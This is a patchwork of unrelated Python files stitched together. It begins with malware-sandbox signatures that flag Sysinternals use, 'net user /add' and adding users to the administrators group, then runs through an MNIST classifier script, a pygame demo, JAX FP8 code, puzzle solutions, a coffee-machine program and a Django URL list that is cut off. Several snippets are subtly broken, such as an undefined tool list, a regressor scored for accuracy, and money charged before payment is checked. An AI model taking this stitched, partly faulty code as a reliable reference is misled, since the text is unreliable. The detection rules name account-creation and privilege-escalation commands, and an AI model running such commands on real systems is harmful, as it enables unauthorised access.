class SysInternalsToolsUsage(Signature):
    name = "sysinternals_tools_usage"
    description = "Uses Sysinternals tools in order to add additional command line functionality"
    severity = 3
    categories = ["commands", "lateral"]
    authors = ["Kevin Ross"]
    minimum = "2.0"
    references = ["docs.microsoft.com/en-us/sysinternals/downloads/"]

    def on_complete(self):
        for cmdline in self.get_command_lines():
            for utility in sysinternals:
                if utility in cmdline.lower():
                    self.mark_ioc("cmdline", cmdline)

        return self.has_marks()

class AddsUser(Signature):
    name = "adds_user"
    description = "Uses windows command to add a user to the system"
    severity = 2
    categories = ["commands"]
    authors = ["Kevin"]
    minimum = "2.0"
    ttp = ["T1136"]

    def on_complete(self):
        for cmdline in self.get_command_lines():
                if cmdline.lower().startswith("net") and "user /add" in cmdline.lower():
                    self.mark_ioc("cmdline", cmdline)

        return self.has_marks()

class AddsUserAdmin(Signature):
    name = "adds_user_admin"
    description = "Uses windows command to add a user to the administrator group"
    severity = 3
    categories = ["commands"]
    authors = ["Kevin"]
    minimum = "2.0"
    ttp = ["T1098"]

    def on_complete(self):
        for cmdline in self.get_command_lines():
                if cmdline.lower().startswith("net") and "localgroup administrators" in cmdline.lower():
                    self.mark_ioc("cmdline", cmdline)

        return self.has_marks()


from collections import defaultdict

class Classy:
    def __init__(self):
        self.head = defaultdict()

    def createTrie(self, phases):
        if not phases: return 0

        for word in phases:
            temp = self.head
            for each in word.split():
                if each not in temp:
                    temp[each] = {}
                temp = temp[each]
            temp['phase'] = True

    def searchWord(self,phrase, stream):
        if not phrase: return 0

        self.createTrie(phrase)

        ls_word = stream.split()
        temp_ds = self.head
        i = 0
        rs = []
        while i < len(ls_word):
            if ls_word[i] in temp_ds:
                rs.append(ls_word[i])
                temp_ds = temp_ds[ls_word[i]]

                if 'phase' in temp_ds:
                    temp_head = self.head
                    rs_temp = []
                    for temp_word in rs[1:]:
                        if temp_word in temp_head:
                            temp_head = temp_head[temp_word]
                            rs_temp.append (temp_word)
                            if 'phase' in temp_head and temp_head['phase']:
                                print (' '.join (rs_temp))
                        else:
                            rs_temp = []
                            temp_head = self.head
                    print(' '.join(rs))
                    rs = []

            else:
                rs =[]
                temp_ds = self.head
            i+=1

phrases = ['a cat', 'through the grass', 'i saw a cat running']
_stream = 'i was walking through the park and saw a cat running through the grass then i saw a cat running from the bushes'

obj = Classy()
print (obj.searchWord (phrases, _stream))


# Author: Yuchen Liu HID213, Wenxuan Han HID209, Junjie Lu HID214
# Data: 2017.12.01
# Reference: http://blog.csdn.net/tinkle181129/article/details/55261251

from datetime import datetime

import matplotlib.pyplot as plt
import pandas as pd
from numpy import *
from sklearn import svm
from sklearn import tree
from sklearn.cross_validation import cross_val_score
from sklearn.decomposition import PCA
from sklearn.ensemble import RandomForestClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.naive_bayes import GaussianNB

# 1. read data from csv
def read_data():
    data_set = pd.read_csv("train.csv")
    data = data_set.values[0:, 1:]
    label = data_set.values[0:, 0]
    print("Data load completed.")
    return data, label

# plot 70 samples
def show_pic(data):
    print(shape(data))
    plt.figure(figsize=(7, 7))
    for digit_num in range(0, 70):
        plt.subplot(7, 10, digit_num + 1)
        grid_data = data[digit_num].reshape(28, 28)
        plt.imshow(grid_data, interpolation="none", cmap="afmhot")
        plt.xticks([])
        plt.yticks([])
    plt.tight_layout()
    plt.savefig("data_samples.png")

# 2. Data Cleaning
# The data is from 0-255 for each cell.
# Normalize data by set all value > 0 to 1
def data_clean(data):
    m, n = shape(data)
    new_data = zeros((m, n))
    for i in range(m):
        for j in range(n):
            if data[i, j] > 0:
                new_data[i, j] = 1
            else:
                new_data[i, j] = 0
    print("Data clean completed.")
    return new_data

# 3. Feature Selection by PCA
def feature_selection(data):
    # First, use explained_variance to get recommended number of component
    pca = PCA()
    # pca_parameter = pca.fit(data)
    pca.fit(data)
    ev = pca.explained_variance_
    ev_ratio = []
    for i in range(len(ev)):
        ev_ratio.append(ev[i] / ev[0])

    # select number of component which have a higher ratio
    # than 0.05 with the first components
    n = 0
    for i in range(len(ev_ratio)):
        if ev_ratio[i] < 0.05:
            n = i
            # print(n)
            break

    # Then, PCA the model by the number of components
    # pca = PCA(n_components=n, whiten=True)
    pca = PCA(n_components=n, whiten=True)
    print("Feature selection completed.")
    return pca.fit_transform(data)

# 4. Model Selection
def model_acc(data, label, model):
    start = datetime.now()
    acc = cross_val_score(model, data, label, cv=5, scoring="accuracy").mean()
    end = datetime.now()
    time_use = (end - start).seconds
    print("Time use: ", time_use)
    print("Accuracy by cross validation: ", acc)

def dt_classifier(data, label, data_type):
    dt_model = tree.DecisionTreeRegressor()
    dt_model.fit(data, label)
    print("Test " + data_type + " using DT: ")
    model_acc(data, label, dt_model)

def nb_classifier(data, label, data_type):
    nb_model = GaussianNB()
    nb_model.fit(data, label)
    print("Test " + data_type + " using NB: ")
    model_acc(data, label, nb_model)

def lr_classifier(data, label, data_type):
    lr_model = LogisticRegression()
    lr_model.fit(data, label)
    print("Test " + data_type + " using LR: ")
    model_acc(data, label, lr_model)

def rf_classifier(data, label, flag):
    rf_model = RandomForestClassifier(n_estimators=100)
    rf_model.fit(data, label)
    print("Test " + flag + " using RF: ")
    model_acc(data, label, rf_model)

def svm_classifier(data, label, flag):
    svm_model = svm.SVC(kernel="rbf", C=10)
    svm_model.fit(data, label)
    # svc_clf = NuSVC(nu=0.1, kernel='rbf', verbose=True)
    print("Test " + flag + " using SVM: ")
    model_acc(data, label, svm_model)

def main():
    data, label = read_data()
    # show_pic(data)
    clean_data = data_clean(data)

    test_type = 3
    for i in range(1, 3):
        print("In %d test" % i)

        if test_type == 0:
            input_data = data
            str = "raw data"
        elif test_type == 1:
            input_data = clean_data
            str = "clean data"
        elif test_type == 2:
            input_data = feature_selection(data)
            str = "pca data"
        elif test_type == 3:
            input_data = feature_selection(clean_data)
            str = "pca clean data"

        dt_classifier(input_data, label, str)
        nb_classifier(input_data, label, str)
        lr_classifier(input_data, label, str)
        rf_classifier(input_data, label, str)
        svm_classifier(input_data, label, str)

main()


"""
This unittest tests the parsing of locally saved linkbases
"""
import unittest
from xbrl.linkbase import parse_linkbase, Linkbase, LinkbaseType

class LinkbaseTest(unittest.TestCase):

    def test_label_linkbase(self):
        """
        Unit test for linkbase.parse_linkbase()
        """
        linkbase_path: str = './tests/data/example-lab.xml'
        linkbase: Linkbase = parse_linkbase(linkbase_path, LinkbaseType.LABEL)

        self.assertEqual(len(linkbase.extended_links), 1)
        self.assertEqual(linkbase.extended_links[0].root_locators[0].name, 'loc_Assets')
        label_arcs = linkbase.extended_links[0].root_locators[0].children
        self.assertEqual(label_arcs[0].labels[0].text, 'Assets, total')
        self.assertIn('An asset is a resource with economic value', label_arcs[1].labels[0].text)

    def test_calculation_linkbase(self):
        """
        Unit test for linkbase.parse_linkbase()
        """
        linkbase_path: str = './tests/data/example-cal.xml'
        linkbase: Linkbase = parse_linkbase(linkbase_path, LinkbaseType.CALCULATION)

        assets_locator = linkbase.extended_links[0].root_locators[0]
        # test if the exploratory mathematical relationship between assets, non-current assets and current assets
        # was present in the linkbase
        self.assertEqual(assets_locator.concept_id, 'example_Assets')
        self.assertEqual(assets_locator.children[0].to_locator.concept_id, 'example_NonCurrentAssets')
        self.assertEqual(assets_locator.children[1].to_locator.concept_id, 'example_CurrentAssets')

if __name__ == '__main__':
    unittest.main()


from math import log2

x = -1
l = []
while x != 0:
    x = int(input())
    l.append(x)

l.pop()
potenza = True

for i in range(len(l)):
    if log2(l[i])%1 != 0:
        potenza = False

if potenza:
    print("SI", end = "")
else:
    print("NO", end = "")


import pygame,sys
from pygame.locals import *

class MySprite(pygame.sprite.Sprite):
    def __init__(self,target):
        pygame.sprite.Sprite.__init__(self)
        self.master_image = None
        self.frame =0
        self.old_frame=-1
        self.frame_width=1
        self.frame_heiget=1
        self.first_frame=0
        self.last_frame=0
        self.columns=1
        self.last_time=0

    def _getx(self):return self.rect.x
    def _setx(self,value):self.rect.x =value
    X = property(_getx,_setx)

    def _gety(self):return self.rect.y
    def _sety(self,value):self.rect.y =value
    Y = property(_gety,_sety)

    def _getpos(self): return self.rect.topleft
    def _setpos(self,pos):self.rect.topleft = pos
    position=property(_getpos,_setpos)

    def load(self,filename,width,height,columns):
        self.master_image=pygame.image.load("pic/dragon.png").convert_alpha()
        self.frame_width=width
        self.frame_heiget=height
        self.rect=Rect(0,0,width,height)
        self.columns =columns
        rect =self.master_image.get_rect()
        self.last_frame=(rect.width // width)*(rect.height // height -1)

    def update(self,current_time,rate=30):
        if current_time>self.last_time+rate:
            self.frame +=1
            if self.frame > self.last_frame:
                self.frame = self.first_frame
            self.last_time = current_time
        if self.frame != self.old_frame:
            frame_x = (self.frame % self.columns)*self.frame_width
            frame_y = (self.frame // self.columns) * self.frame_heiget
            rect = Rect(frame_x,frame_y,self.frame_width,self.frame_heiget)
            self.image = self.master_image.subsurface(rect)
            self.old_frame=self.frame
    def __str__(self):
        return str(self.frame)+","+str(self.first_frame)+\
               ","+str(self.last_frame)+","+str(self.frame_width)+\
               ","+str(self.frame_heiget)+","+str(self.columns)+\
               ","+str(self.rect)

def print_text(font,x,y,text,color=(255,255,255)):
    imgText = font.render(text,True,color)
    screen.blit(imgText,(x,y))

pygame.init()
screen = pygame.display.set_mode((800,600),0,32)
pygame.display.set_caption("Sprite Animation Demo")
font = pygame.font.Font(None,18)
framerate=pygame.time.Clock()

dragon = MySprite(screen)
dragon.load("pic/dragon.png",260,150,3)
group = pygame.sprite.Group()
group.add(dragon)

while True:
    framerate.tick(30)
    ticks=pygame.time.get_ticks()

    for event in pygame.event.get():
        if event.type == QUIT:
            sys.exit()
    key=pygame.key.get_pressed()
    if key[pygame.K_ESCAPE]:
        sys.exit()

    screen.fill((0,0,100))
    group.update(ticks)
    group.draw(screen)
    print_text(font,0,0,"Sprite:"+str(dragon))
    pygame.display.update()


class CsvWriter:

    """Статический класс с описанием методов для записи данных в csv файл."""

    @staticmethod
    def write(path, header, data):
        """Запись в csv файл.

        Args:
            path: путь к файлу для записи.
            header: заголовк csv файла.
            data: данные для записи.

        Raises:
            Exception: возникла непредвиденная ошибка.
        """
        try:
            with open(path, 'wb') as csv:
                csv.write(header)
                csv.writelines(data)
        except Exception as error:
            raise Exception(error)


import sys
import csv

tableName = sys.argv[1]

addressMain = sys.argv[2]
address = {}

address["MiblpXu"] = addressMain + "/MIBLP-XU/"
address["IblpDen"] = addressMain + "/RANDOM/RAND_BILEVEL/"
address["IblpFis"] = addressMain + "/IBLP-FIS/"

if tableName == "table3.csv":
    mainColNum = 5
    dataSet = ["IblpDen", "IblpFis"]
    methodList = ["1", "2", "3", "4", "5"]
elif tableName == "table4.csv":
    mainColNum = 5
    dataSet = ["MiblpXu"]
    methodList = ["1", "2", "3", "4", "5"]
elif tableName == "table5.csv":
    mainColNum = 2
    dataSet = ["IblpDen", "IblpFis"]
    methodList = ["4", "7"]
elif tableName == "table6.csv":
    mainColNum = 2
    dataSet = ["MiblpXu", "IblpDen", "IblpFis"]
    methodList = ["4", "7"]
elif tableName == "table7.csv":
    mainColNum = 4
    dataSet = ["MiblpXu", "IblpDen", "IblpFis"]
    methodList = ["11", "6", "9", "7"]
elif tableName == "table8.csv":
    mainColNum = 4
    dataSet = ["MiblpXu", "IblpDen", "IblpFis"]
    methodList = ["10", "3", "8", "4"]
elif tableName == "table9.csv":
    mainColNum = 4
    dataSet = ["MiblpXu", "IblpDen", "IblpFis"]
    methodList = ["15", "12", "13", "14"]

#open input files
fileInInstance = []
fileInULVar = []
fileInLLVar = []
fileInBestSol = []
fileInTime = []
fileInNode = []
instanceDict = {}
bestSolDict = {}
timeDict = {}
nodeDict = {}
uLVarDict = {}
lLVarDict = {}

count = 0
for i in dataSet:
    name = "instanceList" + i + ".summary"
    fileInInstance.append(open(name, "r"))
    instanceDict[i] = fileInInstance[count].read().split()
    count = count + 1

count = 0
if tableName in ["table5.csv", "table6.csv"]:
    for i in dataSet:
        name = "uLIntVarNum" + i + ".summary"
        fileInULVar.append(open(name, "r"))
        uLVarDict[i] = fileInULVar[count].read().split()

        name = "lLIntVarNum" + i + ".summary"
        fileInLLVar.append(open(name, "r"))
        lLVarDict[i] = fileInLLVar[count].read().split()

        count = count + 1

count = 0
methodNum = 1
for i in methodList:
    for j in dataSet:
        name = "cost" + j + "Method" + i + ".summary"
        fileInBestSol.append(open(name, "r"))
        name = j + str(methodNum)
        bestSolDict[name] = fileInBestSol[count].read().split()

        name = "time" + j + "Method" + i + ".summary"
        fileInTime.append(open(name, "r"))
        name = j + str(methodNum)
        timeDict[name] = fileInTime[count].read().split()

        name = "node" + j + "Method" + i + ".summary"
        fileInNode.append(open(name, "r"))
        name = j + str(methodNum)
        nodeDict[name] = fileInNode[count].read().split()

        count = count + 1

    methodNum = methodNum + 1

#make field name
if tableName in ["table5.csv", "table6.csv"]:
    fieldNames = ["Instance", "r1" , "r2"]
else:
    fieldNames = ["Instance"]

for i in range(mainColNum):
    newCol = "BestSol" + str(i + 1)
    fieldNames.append(newCol)

    newCol = "Time" + str(i + 1)
    fieldNames.append(newCol)

    newCol = "Nodes" + str(i + 1)
    fieldNames.append(newCol)

#write output
with open(tableName, 'w') as fileOut:
    writer = csv.DictWriter(fileOut, fieldnames=fieldNames)

    writer.writeheader()

    #if tableName not in ["table5.csv", "table6.csv"]:
    for i in dataSet:
        instanceList = instanceDict[i]
        for j in range(len(instanceList)):
            newRow = {}
            instance = instanceList[j].replace(address[i], "")
            newRow['Instance'] = instance
            if tableName in ["table5.csv", "table6.csv"]:
                uLVarList = uLVarDict[i]
                newRow['r1'] = uLVarList[j]

                lLVarList = lLVarDict[i]
                newRow['r2'] = lLVarList[j]

            for k in range(mainColNum):
                name = i + str(k + 1)
                bestSolList = bestSolDict[name]
                timeList = timeDict[name]
                nodeList = nodeDict[name]

                newCol = "BestSol" + str(k + 1)
                newRow[newCol] = bestSolList[j]
                newCol = "Time" + str(k + 1)
                if float(timeList[j]) < 0:
                    time = " > 3600"
                    node = str(abs(int(nodeList[j])))
                else:
                    time = timeList[j]
                    node = nodeList[j]
                newRow[newCol] = time
                newCol = "Nodes" + str(k + 1)
                newRow[newCol] = node

            writer.writerow(newRow)

for i in range(len(dataSet)):
    fileInInstance[i].close()
    fileInBestSol[i].close()
    fileInTime[i].close()
    fileInNode[i].close()
    if tableName in ["table5.csv", "table6.csv"]:
        fileInULVar[i].close()
        fileInLLVar[i].close()


from typing import Tuple, Sequence
from functools import partial, reduce
import operator
import jax
import jax.numpy as jnp

from transformer_engine_jax import DType as TEDType
from .cpp_extensions import cast_transpose, gemm, jax_dtype_to_te_dtype
from .fp8 import FP8Helper, FP8GemmPackage
from .sharding import ShardingType, get_dot_sharding_meta, get_fp8_meta_sharding_meta
from .sharding import is_dp_enabled, is_tp_enabled, merge_axis_resources
from .sharding import xmap_runner, extend_fsdp_sharding_meta

jax.config.update('experimental_xmap_spmd_lowering', True)
jax.config.update('experimental_xmap_spmd_lowering_manual', True)

def fp8_dot(fp8_gemm_pkg: FP8GemmPackage,
            fwd_dtype: TEDType,
            bwd_dtype: TEDType,
            contracting_dims: Tuple[Sequence[int], Sequence[int]] = ((-1,), (0,)),
            sharding_type: ShardingType = ShardingType.SINGLE,
            dp_dim_index: int = 0) -> jnp.ndarray:
    """
    FP8 dot wrapper
    """
    assert fp8_gemm_pkg.num_of_gemm == 1
    inputs = fp8_gemm_pkg.inputs
    kernel = fp8_gemm_pkg.kernels[0]
    fp8_max = fp8_gemm_pkg.fp8_max
    amax = fp8_gemm_pkg.amax
    scale = fp8_gemm_pkg.scale
    scale_inv = fp8_gemm_pkg.scale_inv

    if sharding_type is ShardingType.SINGLE:
        res = _fp8_dot(inputs,
                       kernel,
                       fp8_max,
                       amax,
                       scale,
                       scale_inv,
                       fwd_dtype=fwd_dtype,
                       bwd_dtype=bwd_dtype,
                       contracting_dims=contracting_dims,
                       sharding_type=sharding_type,
                       dp_axis_name="",
                       tp_axis_name="",
                       fsdp_axis_name="")
    else:
        dp_axis_name = "batch"
        tp_axis_name = "model"
        kernel_tp_index = None
        # TODO (Ming Huang): Should we add a new argument to support general sharding to kernel? # pylint: disable=fixme
        if sharding_type in (ShardingType.TP_COL, ShardingType.DP_TP_COL):
            kernel_tp_index = len(kernel.shape) - 1
        elif sharding_type in (ShardingType.TP_ROW, ShardingType.DP_TP_ROW):
            kernel_tp_index = 0

        input_tp_index = len(inputs.shape) - 1
        sharding_meta = get_dot_sharding_meta(sharding_type, inputs.shape, kernel.shape,
                                              dp_dim_index, input_tp_index, kernel_tp_index,
                                              contracting_dims, dp_axis_name, tp_axis_name)
        sharding_meta, fsdp_axis_name = extend_fsdp_sharding_meta(sharding_meta, {0: dp_dim_index})
        inputs_ = jnp.reshape(inputs, sharding_meta.input_shapes[0])    # 0 for input
        kernel_ = jnp.reshape(kernel, sharding_meta.input_shapes[1])    # 1 for kernel

        num_of_fp8_meta_kind = 4    # fp8_max, amax, scale, scale_inv
        fp8_sharding_meta = get_fp8_meta_sharding_meta(sharding_type, num_of_fp8_meta_kind,
                                                       dp_axis_name, tp_axis_name)

        axis_resources = merge_axis_resources(
            [sharding_meta.axis_resources, fp8_sharding_meta.axis_resources])

        partial_fp8_dot = partial(_fp8_dot,
                                  fwd_dtype=fwd_dtype,
                                  bwd_dtype=bwd_dtype,
                                  contracting_dims=contracting_dims,
                                  sharding_type=sharding_type,
                                  dp_axis_name=dp_axis_name,
                                  tp_axis_name=tp_axis_name,
                                  fsdp_axis_name=fsdp_axis_name)
        res = xmap_runner(partial_fp8_dot, (*sharding_meta.in_axes, *fp8_sharding_meta.in_axes),
                          sharding_meta.out_axes, axis_resources,
                          (inputs_, kernel_, fp8_max, amax, scale, scale_inv))

        res = jnp.reshape(res, sharding_meta.output_shapes[0])

    return res

@partial(jax.custom_vjp, nondiff_argnums=(6, 7, 8, 9, 10, 11, 12))
def _fp8_dot(inputs: jnp.ndarray, kernel: jnp.ndarray, fp8_maxs: jnp.ndarray, amax: jnp.ndarray,
             scale: jnp.ndarray, scale_inv: jnp.ndarray, fwd_dtype: TEDType, bwd_dtype: TEDType,
             contracting_dims: Tuple[Sequence[int], Sequence[int]], sharding_type: ShardingType,
             dp_axis_name: str, tp_axis_name: str, fsdp_axis_name: str):
    res, _ = _fp8_dot_fwd(inputs,
                          kernel,
                          fp8_maxs,
                          amax,
                          scale,
                          scale_inv,
                          fwd_dtype,
                          bwd_dtype,
                          contracting_dims=contracting_dims,
                          sharding_type=sharding_type,
                          dp_axis_name=dp_axis_name,
                          tp_axis_name=tp_axis_name,
                          fsdp_axis_name=fsdp_axis_name)
    return res

def _fp8_dot_fwd(
        inputs,
        kernel,
        fp8_maxs,
        amax,
        scale,
        scale_inv,
        fwd_dtype,
        bwd_dtype,    # pylint: disable=unused-argument
        contracting_dims,
        sharding_type,
        dp_axis_name,    # pylint: disable=unused-argument
        tp_axis_name,
        fsdp_axis_name):    # pylint: disable=unused-argument
    lhs_contracting_dims, rhs_contracting_dims = contracting_dims
    input_shape_pre = inputs.shape[:min(lhs_contracting_dims)]
    input_shape_suf = inputs.shape[min(lhs_contracting_dims):]
    kernel_shape_pre = kernel.shape[:max(rhs_contracting_dims) + 1]
    kernel_shape_suf = kernel.shape[max(rhs_contracting_dims) + 1:]
    input_contracting_size = reduce(operator.mul, input_shape_suf)
    kernel_contracting_size = reduce(operator.mul, kernel_shape_pre)
    assert input_contracting_size == kernel_contracting_size
    inputs_ = jnp.reshape(inputs, (-1, input_contracting_size))
    kernel_ = jnp.reshape(kernel, (kernel_contracting_size, -1))

    amax = FP8Helper.update_amax_history(amax)

    gemm_input_idx, gemm_kernel_idx, _ = FP8Helper.get_fp8_meta_indices(0)

    input_amax = amax[gemm_input_idx, 0:1]
    input_scale = scale[gemm_input_idx]
    input_scale_inv = scale_inv[gemm_input_idx]
    input_cast, input_cast_trans, input_amax = cast_transpose(inputs_, input_amax, input_scale,
                                                              input_scale_inv, fwd_dtype)

    kernel_amax = amax[gemm_kernel_idx, 0:1]
    kernel_scale = scale[gemm_kernel_idx]
    kernel_scale_inv = scale_inv[gemm_kernel_idx]
    kernel_cast, kernel_cast_trans, kernel_amax = cast_transpose(kernel_, kernel_amax, kernel_scale,
                                                                 kernel_scale_inv, fwd_dtype)
    res = gemm(kernel_cast_trans, kernel_scale_inv, fwd_dtype, True, input_cast, input_scale_inv,
               fwd_dtype, False, jax_dtype_to_te_dtype(inputs.dtype), FP8Helper.FP8_2X_ACC_FPROP)

    if sharding_type in (ShardingType.TP_ROW, ShardingType.DP_TP_ROW):
        res = jax.lax.psum(res, tp_axis_name)

    # (input_shape_pre, input_shape_suf)
    # x (kernel_shape_pre, kernel_shape_suf)
    # = (input_shape_pre, kernel_shape_suf)
    output_shape = input_shape_pre + kernel_shape_suf
    res = jnp.reshape(res, output_shape)

    ctx = (input_cast_trans, kernel_cast, fp8_maxs, amax, scale, scale_inv, input_amax, kernel_amax,
           inputs.shape, kernel.shape)
    return res, ctx

def _fp8_dot_bwd(
        fwd_dtype,
        bwd_dtype,
        contracting_dims,    # pylint: disable=unused-argument
        sharding_type,
        dp_axis_name,
        tp_axis_name,
        fsdp_axis_name,
        ctx,
        g):
    input_cast_trans, kernel_cast, \
    fp8_maxs, amax, scale, scale_inv, \
    input_amax, kernel_amax, \
    inputs_shape, kernel_shape = ctx

    gemm_input_idx, gemm_kernel_idx, gemm_grad_idx = FP8Helper.get_fp8_meta_indices(0)

    grad_amax = amax[gemm_grad_idx, 0:1]
    grad_scale = scale[gemm_grad_idx]
    grad_scale_inv = scale_inv[gemm_grad_idx]
    g = jnp.reshape(g, (input_cast_trans.shape[1], -1))
    grad_cast, grad_cast_trans, grad_amax = cast_transpose(g, grad_amax, grad_scale, grad_scale_inv,
                                                           bwd_dtype)

    input_scale_inv = scale_inv[gemm_input_idx]
    wgrad = gemm(grad_cast_trans, grad_scale_inv, bwd_dtype,
                 True, input_cast_trans, input_scale_inv, fwd_dtype, False,
                 jax_dtype_to_te_dtype(g.dtype), FP8Helper.FP8_2X_ACC_WGRAD)

    kernel_scale_inv = scale_inv[gemm_kernel_idx]
    dgrad = gemm(kernel_cast, kernel_scale_inv, fwd_dtype, True, grad_cast, grad_scale_inv,
                 bwd_dtype, False, jax_dtype_to_te_dtype(g.dtype), FP8Helper.FP8_2X_ACC_DGRAD)

    amax = amax.at[gemm_input_idx, 0].set(input_amax[0])
    amax = amax.at[gemm_kernel_idx, 0].set(kernel_amax[0])
    amax = amax.at[gemm_grad_idx, 0].set(grad_amax[0])

    if is_dp_enabled(sharding_type.value[0]):
        wgrad = jax.lax.psum(wgrad, dp_axis_name)
        amax = jax.lax.pmax(amax, dp_axis_name)

    if len(fsdp_axis_name) > 0:
        wgrad = jax.lax.psum(wgrad, fsdp_axis_name)
        amax = jax.lax.pmax(amax, fsdp_axis_name)

    if is_tp_enabled(sharding_type.value[0]):
        amax = jax.lax.pmax(amax, tp_axis_name)

    if sharding_type in (ShardingType.TP_COL, ShardingType.DP_TP_COL):
        dgrad = jax.lax.psum(dgrad, tp_axis_name)

    dgrad = jnp.reshape(dgrad, inputs_shape)
    wgrad = jnp.reshape(wgrad, kernel_shape)
    return dgrad, wgrad, fp8_maxs, amax, scale, scale_inv

_fp8_dot.defvjp(_fp8_dot_fwd, _fp8_dot_bwd)


from typing import List

class Solution:
    """
    日期：2023-08-04
    作者：仲景
    """

    def longestCommonPrefix(self, strs: List[str]) -> str:
        res = strs[0]

        for i in range(1, len(strs)):
            res = twoStrLongestCommonPrefix(res, strs[i])

        return res

def twoStrLongestCommonPrefix(str1: str, str2: str) -> str:
    """
    返回两个字符串的最长公共前缀
    :param str1: 第一个字符串
    :param str2: 第二个字符串
    :return: 最长公共前缀
    """
    prefix = ""
    for i in range(min(len(str1), len(str2))):
        if str1[i] == str2[i]:
            prefix += str1[i]
        else:
            break
    return prefix


__author__ = 'Xin'
#Python Algorithms- Mastering Basic Algorithms in the Python Language, Page 78
# Eight persons with very particular tastes have bought tickets to the movies.
# Some of them are happy with their seats, but most of them are not,
# and after standing in line in Chapter 3, they’re getting a bit grumpy.
# Let’s say each of them has a favorite seat,
# and you want to find a way to let them switch seats to make as many people as possible happy
# with the result (ignoring other audience members, who may eventually get a bit tired by the antics of our moviegoers).
# However, because they are all rather grumpy, all of them refuse to move to another seat if they can’t get their favorite.

M = [2, 2, 0, 5, 3, 5, 7, 4] #记录座位上的人所喜欢的位子
def naive_max_perm(M, A=None):
    if A is None:
        A = set(range(len(M)))
    if len(A) == 1:
        return A
    B = set(M[i] for i in A)
    C=A- B
    if C:
        A.remove(C.pop())
        naive_max_perm(M, A)
    return A
#O(n^2)

def max_perm(M):
    n=len(M)
    a=set(range(n)) #记录座位号
    count=[0]*n
    for i in M:
        count[i]+=1 #记录每个座位被喜欢的个数，如果为0，则废弃
    q=[i for i in range(n) if count[i]==0] # 记录废弃的座位
    while q:
        i=q.pop() #处理废弃的i
        a.remove(i) #第i个座位和坐在i上的人绑定
        j=M[i] #第i个座位上的人喜欢的座位号
        count[j]-=1
        if count[j]==0:
            q.append(j)
    return a


import random
import os
from coffee_data import MENU, resources

choice = ""
money = 0
total = 0

def clear_screen():
    os.system('cls' if os.name == 'nt' else 'clear')

def return_resources():
    return resources

def format_resource(account):
    global money
    water = account['water']
    milk = account['milk']
    coffee = account['coffee']
    return f"Water: {water}ml\nMilk: {milk}ml\nCoffee: {coffee}g\nMoney: {money}$"

def process_coins():
    global total
    print("Please insert coins: ")
    total += int(input("How many quarters?: ")) * 0.25
    total += int(input("How many dimes?: ")) * 0.1
    total += int(input("How many nickels?: ")) * 0.05
    total += int(input("How many pennies?: ")) * 0.01
    return total

def check_resources(choice):
    if (resources['water'] - MENU[choice]['ingredients']['water']) < 0:
        return 1
    elif (resources['milk'] - MENU[choice]['ingredients']['milk']) < 0:
        return 2
    elif (resources['coffee'] - MENU[choice]['ingredients']['coffee']) < 0:
        return 3

def status(number):
    if number == 1:
        print(" Sorry there is not enough water.")
    elif number == 2:
        print(" Sorry there is not enough milk.")
    elif number == 3:
        print(" Sorry there is not enough coffee.")

def process_customer_request(choice):
    global money
    total = process_coins()
    bill = MENU[choice]['cost']
    money += MENU[choice]['cost']

    if bill > total:
        print("Sorry that's not enough money. Money refunded.")
    else:
        change = total - bill
        print(f"Here is ${round(change, 2)} in change")
        print(f"Here is your {choice} ☕. Enjoy!")
        checking = check_resources(choice)
        if checking == 1 or checking == 2 or checking == 3:
            status(checking)
        else:
            resources['water'] -= 50
            resources['coffee'] -= 18

clear_screen()
while True:
    total = 0
    choice = input(" What would you like? (espresso/latte/cappuccino): ")

    if choice == 'report':
        resource = format_resource(return_resources())
        print(resource)

    elif choice in ['espresso', 'latte', 'cappuccino']:
        process_customer_request(choice)

    else:
        print("Invalid Choice")


# -*- coding: utf-8 -*-
# @Time    : 2022/9/14
# @Author  : youjiangyong
# @File    : test_hotSpotRank.py
import allure
import pytest
from Common.Base import base
from Config.path_config import PathMessage
import os,jsonpath,datetime,random

def get_timestamp():
    timestamp = datetime.datetime.now().replace(hour=9, minute=0, second=0, microsecond=0).timestamp()
    timestamp = int(timestamp)
    return timestamp
print(get_timestamp())

@allure.feature('官方热点榜')
@pytest.mark.flaky(reruns=5, reruns_delay=1)
class TestCase_Rank_hotSpotRank():
    timestamp = get_timestamp()
    @allure.story('验证官方热点榜遍历商品一级级分类返回的数据是否大于10条')
    @pytest.mark.parametrize('times', base.return_time_message_nowday())
    @pytest.mark.parametrize('timestamp', [timestamp])
    @allure.title("官方热点榜查看榜点：{timestamp}")
    def test_rank_promotionAweme_big_type(self, get_token, get_host, timestamp, times):
        para = f'day_type={times[0]}&date={times[1]}&page=1&size=50&type=1&timestamp={timestamp}'
        response = base().return_request(method="get", path=PathMessage.rank_hotSpotRank, data=para, tokens=get_token,hosts=get_host, )
        # print(response)
        assert len(response["response_body"]["data"]["list"]) > 10
        # aweme_id_list = jsonpath.jsonpath(response["response_body"], '$.data.list[*].aweme_id')
        # print(aweme_id_list)


import sys
from bisect import bisect_right
input = sys.stdin.readline

n, r = [int(x) for x in input().split()]
numbers = [int(x) for x in input().split()]
maxFit = 0
numbers.sort()
for i in range(n):
    ind = bisect_right(numbers, numbers[i] + r) - 1
    maxFit = max(maxFit, ind - i + 1)
print(maxFit)


from django.urls import path, include
from estado.views import demonio_print
from estado.views import Estadoview,Estadoinsertar,Estadoeditar,Estadoeliminar,Partecuerpoview,Partecuerpoinsertar,Partecuerpoeditar,Partecuerpoeliminar,Detallecuerpoview,Detallecuerpoinsertar,Detallecuerpoeditar,Detallecuerpoeliminar,Demonioview,Demonioinsertar,Demonioeditar,Demonioeliminar,Batallaview,Batallainsertar,Batallaeditar,Batallaeliminar

urlpatterns = [
    path('Estado', Estadoview.as_view(), name='Estados'),
    path('Estado/new', Estadoinsertar.as_view(), name='AgregarE'),
    path('Estado/edit/<int:pk>', Estadoeditar.as_view(), name='EditarE'),
    path('Estado/delete/<int:pk>', Estadoeliminar.as_view(), name='EliminarE'),

    path('Partecuerpo', Partecuerpoview.as_view(), name='Partecuerpos'),
    path('Partecuerpo/new', Partecuerpoinsertar.as_view(), name='AgregarP'),
    path('Partecuerpo/edit/<int:pk>', Partecuerpoeditar.as_view(), name='EditarP'),
    path('Partecuerpo/delete/<int:pk>', Partecuerpoeliminar.as_view(), name='EliminarP'),

    path('Detallecuerpo', Detallecuerpoview.as_view(), name='Detallecuerpos'),
    path('Detallecuerpo/new', Detallecuerpoinsertar.as_view(), name='AgregarDC'),
    path('Detallecuerpo/edit/<int:pk>', Detallecuerpoeditar.as_view(), name='EditarDC'),
